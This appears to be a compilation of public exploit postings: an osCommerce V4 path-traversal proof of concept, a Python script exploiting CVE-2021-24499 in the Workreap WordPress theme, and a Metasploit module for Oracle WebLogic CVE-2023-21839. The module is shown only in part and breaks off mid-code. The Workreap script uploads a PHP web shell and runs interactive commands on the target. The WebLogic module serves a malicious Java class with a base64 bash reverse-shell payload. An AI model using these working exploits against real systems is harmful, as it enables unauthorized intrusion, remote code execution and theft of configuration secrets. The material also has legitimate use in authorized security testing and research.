<pre><code>====================================================================================================================================<br />| # Title : oscommerce V4 LFI Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit) | <br />| # Vendor : https://www.oscommerce.com/ | <br />| # Dork : |<br />====================================================================================================================================<br /><br />poc :<br /><br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Line 62 : https://github.com/osCommerce/osCommerce-V4/blob/main/install/index.php<br /><br />[+] http://locqlhost/install/index.php?rootPath=../../includes/local/configure.php<br /><br />Greetings to :=========================================================================================================================<br /> |<br />jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | <br /> |<br />=======================================================================================================================================<br /></code></pre>
<pre><code># Exploit Title: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution<br /># Dork: inurl:/wp-content/themes/workreap/<br /># Date: 2023-06-01<br /># Category : Webapps<br /># Vendor Homepage: https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454<br /># Exploit Author: Mohammad Hossein Khanaki(Mr_B0hl00l)<br /># Version: 2.2.2<br /># Tested on: Windows/Linux<br /># CVE: CVE-2021-24499<br /><br /><br />import requests<br />import random<br />import string<br />import sys<br /><br /><br />def usage():<br /> banner = '''<br /> NAME: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution<br /> usage: python3 Workreap_rce.py <URL> <br /> example for linux : python3 Workreap_rce.py https://www.exploit-db.com<br /> example for Windows : python Workreap_rce.py https://www.exploit-db.com<br /> '''<br /> print(f"{BOLD}{banner}{ENDC}")<br /><br />def upload_file(target):<br /> print("[ ] Uploading File")<br /> url = target + "/wp-admin/admin-ajax.php"<br /> body = "<?php echo '" + random_str + "';?>"<br /> data = {"action": "workreap_award_temp_file_uploader"}<br /> response = requests.post(url, data=data, files={"award_img": (file_name, body)})<br /> if '{"type":"success",' in response.text:<br /> print(f"{GREEN}[+] File uploaded successfully{ENDC}")<br /> check_php_file(target)<br /> else:<br /> print(f"{RED}[+] File was not uploaded{ENDC}")<br /><br />def check_php_file(target):<br /> response_2 = requests.get(target + "/wp-content/uploads/workreap-temp/" + file_name)<br /> if random_str in response_2.text:<br /> print(f"{GREEN}The uploaded PHP file executed successfully.{ENDC}")<br /> print("path: " + target +"/wp-content/uploads/workreap-temp/" + file_name)<br /> question = input(f"{YELLOW}Do you want get RCE? [Y/n] {ENDC}")<br /> if question == "y" or question == "Y":<br /> print("[ ] Uploading Shell ")<br /> get_rce(target)<br /> else:<br /> usage()<br /> else:<br /> print(f"{RED}[+] PHP file not allowed on this website. Try uploading another file.{ENDC}")<br /><br />def get_rce(target):<br /> file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"<br /> body = '<?php $command = $_GET["c"]; $output = shell_exec($command); echo "<pre>\n$output</pre>";?>'<br /> data = {"action": "workreap_award_temp_file_uploader"}<br /> response_3 = requests.post(target + '/wp-admin/admin-ajax.php', data=data, files={"award_img": (file_name, body)})<br /> print(f"{GREEN}[+] Shell uploaded successfully{ENDC}")<br /> while True:<br /> command = input(f"{YELLOW}Enter a command to execute: {ENDC}")<br /> print(f"Shell Path : {target}'/wp-content/uploads/workreap-temp/{BOLD}{file_name}?c={command}{ENDC}")<br /> response_4 = requests.get(target + '/wp-content/uploads/workreap-temp/' + file_name + f"?c={command}")<br /> print(f"{GREEN}{response_4.text}{ENDC}")<br /><br /><br />if __name__ == "__main__":<br /> global GREEN , RED, YELLOW, BOLD, ENDC<br /> GREEN = '\033[92m'<br /> RED = '\033[91m'<br /> YELLOW = '\033[93m'<br /> BOLD = '\033[1m'<br /> ENDC = '\033[0m'<br /> file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"<br /> random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))<br /> try:<br /> upload_file(sys.argv[1])<br /> except IndexError:<br /> usage()<br /> except requests.exceptions.RequestException as e:<br /> print("\nPlease Enter Valid Address")<br /> <br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /> include Msf::Exploit::Remote::Tcp<br /> include Exploit::Remote::JndiInjection<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.<br /> GIOP_REQUEST = 0<br /> GIOP_REPLY = 1<br /> GIOP_CANCEL_REQUEST = 2<br /> GIOP_LOCATE_REQUEST = 3<br /> GIOP_LOCATE_REPLY = 4<br /> GIOP_CLOSE_CONNECTION = 5<br /> GIOP_MESSAGE_ERROR = 6<br /> GIOP_FRAGMENT = 7<br /><br /> # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF<br /> SYNCSCOPE_NONE = 0<br /> SYNCSCOPE_WITH_TRANSPORT = 0<br /> SYNCSCOPE_WITH_SERVER = 1<br /> SYNCSCOPE_WITH_TARGET = 3<br /><br /> # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF<br /> ADDR_DISPOSITION_KEYADDR = 0<br /> ADDR_DISPOSITION_PROFILE_ADDR = 1<br /> ADDR_DISPOSITION_REFERENCE_ADDR = 2<br /><br /> # GIOP Protocol RequestReply Header Codes<br /> # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf<br /> NO_EXCEPTION = 0<br /> USER_EXCEPTION = 1<br /> SYSTEM_EXCEPTION = 2<br /> LOCATION_FORWARD = 3<br /><br /> # GIOP Protocol LocateReply Header Codes<br /> # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf<br /> UNKNOWN_OBJECT = 0<br /> OBJECT_HERE = 1<br /> OBJECT_FORWARD = 2<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.<br /> '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.<br /> 'Grant Willcox' # @tekwizz123 This Metasploit module<br /> ],<br /> 'Description' => %q{<br /> Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated<br /> remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes<br /> a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the<br /> object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,<br /> which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via<br /> the "lookup()" function.<br /><br /> This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting<br /> a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to<br /> create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java<br /> code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.<br /><br /> This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will<br /> then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java<br /> class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,<br /> at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate<br /> an instance of that class, granting us RCE as the "oracle" user.<br /><br /> This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability<br /> },<br /> 'References' => [<br /> ['CVE', '2023-21839'],<br /> ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory<br /> ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup<br /> ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP<br /> ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC<br /> ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.<br /> ],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Linux', {<br /> 'Platform' => %w[unix linux],<br /> 'Arch' => [ARCH_CMD],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-01-17',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(7001),<br /> OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])<br /> ]<br /> )<br /> end<br /><br /> def get_weblogic_version<br /> socket = connect<br /> http_request = Rex::Proto::Http::ClientRequest.new(<br /> {<br /> 'uri' => '/console/login/LoginForm.jsp',<br /> 'vhost' => datastore['RHOST'],<br /> 'port' => datastore['RPORT']<br /> }<br /> ).to_s<br /> socket.put(http_request.to_s)<br /> res = socket.get<br /> fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res<br /><br /> # Disconnect as we will want a new socket for future connections.<br /> disconnect<br /><br /> # Do the regex on the result to find the version.<br /> version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/)<br /> fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?<br /> version = version[1]<br /><br /> Rex::Version.new(version)<br /> end<br /><br /> def giop_header(msg_type)<br /> header = ''<br /> header << 'GIOP' # Magic<br /> header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol.<br /> header << "\x00" # Message flags<br /> case msg_type<br /> when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT<br /> header << [msg_type].pack('C')<br /> else<br /> fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')<br /> end<br /> header << 'LENGTH_REPLACE_ME'<br /> end<br /><br /> # LocateRequest packets are used to determine whether an object reference is valid,<br /> # whether the current server is capable of directly receiving request for the object reference,<br /> # and if not, to what address the request for the object should be sent.<br /> #<br /> # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27<br /> def giop_locate_request_packet(keyaddress = 'NameService')<br /> header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute<br /> data = ''<br /> packet = ''<br /><br /> @request_id = 1 if @request_id.nil?<br /> @request_id += 1<br /> data << [@request_id].pack('N') # Request ID<br /> data << [0].pack('n') # TargetAddress, 2 byte field<br /> data << [0].pack('n') # Padding, 2 bytes<br /> data << [keyaddress.length].pack('N') # Key Address Length<br /> data << keyaddress<br /><br /> packet << header<br /> packet << data<br /> packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))<br /><br /> packet<br /> end<br /><br /> def create_service_context(vscid, scid, context_data, endian = 0)<br /> context = ''<br /> seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.<br /> context << vscid # 3 byte long VSCID<br /> context << [scid].pack('C') # 1 byte long SCID<br /> context << [seq_length].pack('N') # 4 byte long sequence length<br /> context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.<br /> context << context_data<br /><br /> context<br /> end<br /><br /> def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)<br /> header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute<br /> data = ''<br /> packet = ''<br /><br /> @request_id = 1 if @request_id.nil?<br /> @request_id += 1<br /> data << [@request_id].pack('N') # Request ID<br /> data << [sync_scope].pack('C') # Response flags<br /> data << "\x00\x00\x00" # Reserved<br /> data << [addr_disposition].pack('n') # TargetAddress, 2 bytes<br /> data << [0].pack('n') # Two bytes of padding.<br /> data << [key_address.length].pack('N') # Key Address Length<br /> data << key_address<br /> data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?<br /> data << "rebind_any\x00" # Request Operation<br /><br /> service_context_list = ''<br /> service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this.<br /> service_context_list << [context_list_length].pack('N') # Sequence Length<br /> service_context_list << '{SERVICE_CONTEXT_LIST}'<br /><br /> @java_class_name = 'PayloadRuns'<br /> ldap_uri = jndi_string(@java_class_name)<br /> stub_data += [ldap_uri.length].pack('C') + ldap_uri<br /><br /> data << service_context_list<br /> data << stub_data<br /><br /> packet << header<br /> packet << data<br /><br /> packet<br /> end<br /><br /> def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)<br /> header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute<br /> data = ''<br /> packet = ''<br /><br /> @request_id = 1 if @request_id.nil?<br /> @request_id += 1<br /> data << [@request_id].pack('N') # Request ID<br /> data << [sync_scope].pack('C') # Response flags<br /> data << "\x00\x00\x00" # Reserved<br /> data << [addr_disposition].pack('n') # TargetAddress, 2 bytes<br /> data << [0].pack('n') # Two bytes of padding.<br /> data << [key_address.length].pack('N') # Key Address Length<br /> data << key_address<br /> data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?<br /> data << "resolve\x00" # Request Operation<br /><br /> service_context_list = ''<br /> service_context_list << [context_list_length].pack('N') # Sequence Length<br /> service_context_list << '{SERVICE_CONTEXT_LIST}'<br /><br /> cos_data = ''<br /> if cos_naming_disector<br /> cos_data << "\x00\x00\x00\x00"<br /> cos_data << [seq_len].pack('N') # Sequence length<br /> name_component = "test\x00"<br /> cos_data << [name_component.length].pack('N') # Name component length including NULL byte.<br /> cos_data << name_component<br /> cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this.<br /> end<br /><br /> data << service_context_list<br /> data << cos_data<br /><br /> packet << header<br /> packet << data<br /><br /> packet<br /> end<br /><br /> def check<br /> begin<br /> @version = get_weblogic_version<br /> fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?<br /> rescue ::Timeout::Error<br /> fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')<br /> rescue Rex::AddressInUse<br /> fail_with(Failure::BadConfig, 'Address is currently in use')<br /> rescue Rex::HostUnreachable<br /> fail_with(Failure::Unreachable, 'Target host is unreachable!')<br /> rescue Rex::ConnectionRefused<br /> fail_with(Failure::Disconnected, 'Target refused connection!')<br /> rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout<br /> fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')<br /> end<br /><br /> if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))<br /> return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')<br /> elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))<br /> return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')<br /> elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))<br /> return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')<br /> else<br /> return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')<br /> end<br /> end<br /><br /> # HTTP Server Related Functions and Overrides<br /><br /> # Returns the configured URIPATH along with the path to the Java class we are serving<br /> def resource_uri<br /> "#{datastore['URIPATH']}/#{@java_class_name}.class"<br /> end<br /><br /> # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of<br /> # this URL when it tries to fetch the class to be loaded and instantiated.<br /> def ldap_url_string<br /> "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"<br /> end<br /><br /> #<br /> # Handle the HTTP request and return a response. Code borrowed from:<br /> # msf/core/exploit/http/server.rb<br /> #<br /> def start_http_service(opts = {})<br /> # Start a new HTTP server<br /> @http_service = Rex::ServiceManager.start(<br /> Rex::Proto::Http::Server,<br /> (opts['ServerPort'] || bindport).to_i,<br /> opts['ServerHost'] || bindhost,<br /> datastore['SSL'],<br /> {<br /> 'Msf' => framework,<br /> 'MsfExploit' => self<br /> },<br /> opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),<br /> datastore['SSLCert'],<br /> datastore['SSLCompression'],<br /> datastore['SSLCipher'],<br /> datastore['SSLVersion']<br /> )<br /> @http_service.server_name = datastore['HTTP::server_name']<br /> # Default the procedure of the URI to on_request_uri if one isn't<br /> # provided.<br /> uopts = {<br /> 'Proc' => method(:on_request_uri),<br /> 'Path' => resource_uri<br /> }.update(opts['Uri'] || {})<br /> proto = (datastore['SSL'] ? 'https' : 'http')<br /><br /> netloc = opts['ServerHost'] || bindhost<br /> http_srvport = (opts['ServerPort'] || bindport).to_i<br /> print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")<br /><br /> # Add path to resource<br /> @service_path = uopts['Path']<br /> @http_service.add_resource(uopts['Path'], uopts)<br /> end<br /><br /> #<br /> # Kill HTTP service (shut it down and clear resources)<br /> #<br /> def cleanup<br /> # Stop the LDAP server<br /> cleanup_service<br /><br /> # Clean and stop HTTP server<br /> if @http_service<br /> begin<br /> @http_service.remove_resource(datastore['URIPATH'])<br /> @http_service.deref<br /> @http_service.stop<br /> @http_service = nil<br /> rescue StandardError => e<br /> print_error("Failed to stop http server due to #{e}")<br /> end<br /> end<br /> super<br /> end<br /><br /> #<br /> # Handle HTTP requests and responses<br /> #<br /> def on_request_uri(cli, request)<br /> agent = request.headers['User-Agent']<br /> vprint_good("Payload requested by #{cli.peerhost} using #{agent}")<br /> class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))<br /> base64_payload = Rex::Text.encode_base64(payload.encoded)<br /> exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length<br /> command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length<br /> class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n'))<br /> class_raw = class_raw.gsub('PAYLOAD', base64_payload)<br /> send_response(cli, 200, 'OK', class_raw)<br /> end<br /><br /> #<br /> # Create an HTTP response and then send it<br /> #<br /> def send_response(cli, code, message = 'OK', html = '')<br /> proto = Rex::Proto::Http::DefaultProtocol<br /> res = Rex::Proto::Http::Response.new(code, message, proto)<br /> res.body = html<br /> cli.send_response(res)<br /> end<br /><br /> # LDAP Server Overrides<br /> def build_ldap_search_response_payload<br /> # Always do a remote load<br /> # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.<br /> # You can add anchor tags using # to the URL but thats it.<br /> build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)<br /> end<br /><br /> # Main Exploit<br /> def exploit<br /> if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0<br /> fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')<br /> end<br /><br /> if @version.blank?<br /> @version = get_weblogic_version<br /> end<br /><br /> # Step 1 - Make T3 connection to start IIOP connection process, and read response.<br /> socket = connect<br /> print_status('1. Making T3 connection...')<br /> socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n")<br /> _buf = socket.get<br /> disconnect<br /> print_good('Made T3 connection!')<br /><br /> # Step 2 - Send first GIOP LocateRequest packet<br /> print_status('2. Sending first GIOP LocateRequest packet')<br /> # Make a GIOP LocateRequest packet request and read response.<br /> socket = connect<br /> socket.put(giop_locate_request_packet)<br /> locate_buf = socket.get<br /> disconnect<br /> print_good('Step 2 complete!')<br /><br /> reply_status = locate_buf[16..19].unpack('N')&.dig(0)<br /> if reply_status != OBJECT_FORWARD<br /> fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')<br /> end<br /><br /> # Calculate the target port<br /><br /> # Start at offset 0x60 which will be inside the GIOP's LocateReply message,<br /> # and will be where the IP address is located in the IOR response.<br /> port_offset = 0x60<br /><br /> # Starting at this offset above, loop until we hit a zero byte in the IOR buffer.<br /> # This works because the PORT number is represented as a 4 byte long number, aka 32 bits,<br /> # and the upper part will never be used. Either that or there is a \x00\x00 padding section<br /> # between the IP address and the port.<br /> loop do<br /> if locate_buf[port_offset] != "\x00"<br /> port_offset += 0x1<br /> else<br /> break<br /> end<br /> end<br /><br /> # If port_offset is too large by this point then we have likely hit an error and should exit<br /> if port_offset > 10240<br /> fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')<br /> end<br /><br /> # Now, loop until we hit a non-zero byte in the IOR buffer. This should<br /> # place at the location of the port part of the IP address that is embedded in the IOR message.<br /> loop do<br /> if locate_buf[port_offset] == "\x00"<br /> port_offset += 0x1<br /> else<br /> break<br /> end<br /> end<br /><br /> port = []<br /> port.append(locate_buf[port_offset])<br /> port_offset += 1<br /> port.append(locate_buf[port_offset])<br /><br /> # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.<br /> final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)<br /><br /> # Fail if the received port is not the one we expected.<br /> if final_port != datastore['RPORT']<br /> fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")<br /> end<br /><br /> lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.<br /> foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U<br /><br /> loop do<br /> if locate_buf[foff] == "\x00"<br /> foff += 0x1<br /> else<br /> break<br /> end<br /> end<br /><br /> key1 = locate_buf[foff...foff + 8]<br /> key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8]<br /><br /> if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13')<br /> wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \<br /> "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \<br /> "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \<br /> "\x00\x00\x00\x00\x00\x00\x00{{key1}}"<br /> wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \<br /> "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \<br /> "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \<br /> "\x00\x00\x00\x00\x00\x00\x00{{key1}}"<br /> elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15')<br /> wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \<br /> "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \<br /> "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \<br /> "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \<br /> "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"<br /> wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \<br /> "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \<br /> "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \<br /> "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \<br /> "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"<br /> else<br /> fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!')<br /> end<br /><br /> wls_key_1.gsub!('{{key1}}', key1)<br /><br /> # Step 3 - Make a rebindAny request<br /> key_addr = wls_key_1<br /> stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \<br /> "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \<br /> "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \<br /> "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \<br /> "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00"<br /> socket = connect<br /> packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6)<br /><br /> context_data = ''<br /> @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b")<br /> @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01")<br /> @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01")<br /><br /> context_data << @service_context_0<br /> context_data << @service_context_1<br /> context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \<br /> "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \<br /> "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \<br /> "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \<br /> "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \<br /> 